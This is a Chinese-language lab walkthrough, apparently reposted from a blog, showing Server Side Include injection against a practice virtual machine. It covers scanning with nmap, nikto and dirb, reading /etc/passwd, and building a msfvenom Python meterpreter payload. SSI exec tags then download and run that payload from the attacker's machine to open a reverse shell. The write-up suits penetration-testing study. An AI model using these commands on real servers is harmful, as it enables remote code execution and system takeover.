SSI漏洞注入

SSI漏洞注入原理

SSI(Server Side Include),通常称为服务器端嵌入,是一种类似于ASP的基于服务器的网页制作技术。SSI具有强大的功能,只要使用一条简单的SSI命令就可以实现整个网站的内容更新,时间和日期的动态显示,以及执行shell和CGI脚本程序等复杂的功能。

在很多场景中,用户输入的内容可以显示在页面中,比如一个存在反射XSS漏洞的页面,如果输入的payload不是xss代码而是ssi的标签,服务器又开启了ssi支持的话就会存在SSI漏洞。

准备工作

靶机地址:
链接:https://pan.baidu.com/s/1MTunDny-m5eICXAS9P8ugA
提取码:x3c2

漏洞复现过程

  1. 使用netdiscover发现存活主机
netdiscover -i eth0

在这里插入图片描述

  1. 使用nmap进行服务探测
nmap -sV 172.20.10.8
  • 发现服务器开启了apache服务
    在这里插入图片描述
  1. 再使用nikto和dirb对目标服务器进行子目录的信息挖掘
nikto -host http://172.20.10.8
dirb http://172.20.10.8
  • 发现了index.shtml文件,可初步判断存在ssi注入
    在这里插入图片描述

  • 使用dirb探测时发现了ssi的具体目录,对各个目录进行登录访问
    在这里插入图片描述

  • 在robots.txt文件中没有发现任何有价值的信息
    在这里插入图片描述

  • 在index目录和index.php页面上发现了一个登录网站和一些命令信息
    在这里插入图片描述

  • 访问index页面
    在这里插入图片描述

  1. 尝试使用上述命令登录网站后端获取敏感信息
    在这里插入图片描述
  • 在绕过字符过滤时,发现能得到/etc/passwd文件的信息
    在这里插入图片描述
  1. 尝试用msfvenom生成shellcode对网站进行漏洞注入
msfvenom -p python/meterpreter/reverse_tcp lhost=本机IP lport=4444 -f raw > /root/Desktop/shellcode.py

在这里插入图片描述

  • 注意:因为注入时要用到文件上传,因此要开启apache服务才能注入成功,并将shellcode.py文件上传到html文件目录上
service apache2 start
service apache2 status
mv /root/Desktop/shellcode.py /var/www/html
  1. 打开msfconsole框架,进行漏洞利用并监听
msfconsole
use exploit/multi/handler
set lhost 本机IP
set payload python/meterpreter/reverse_tcp
run

在这里插入图片描述

  1. 在http://靶机ip/index.php中利用post表单进行shellcode的下载
  • 在第一个输入框中输入任意值
  • 第二个输入框中执行恶意命令
<!--#EEXEC cmd="wget http://本机IP/shellcode.py">
<!--#EEXEC cmd="chmod 777 shellcode.py">
<!--#EEXEC cmd="python shellcode.py">

在这里插入图片描述

  • 反弹webshell成功
    在这里插入图片描述
  • 输入以下代码进行终端优化
shell
python -c "import pty; pty.spawn('/bin/bash')"
id;pwd

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_45007073/article/details/112179198
ssi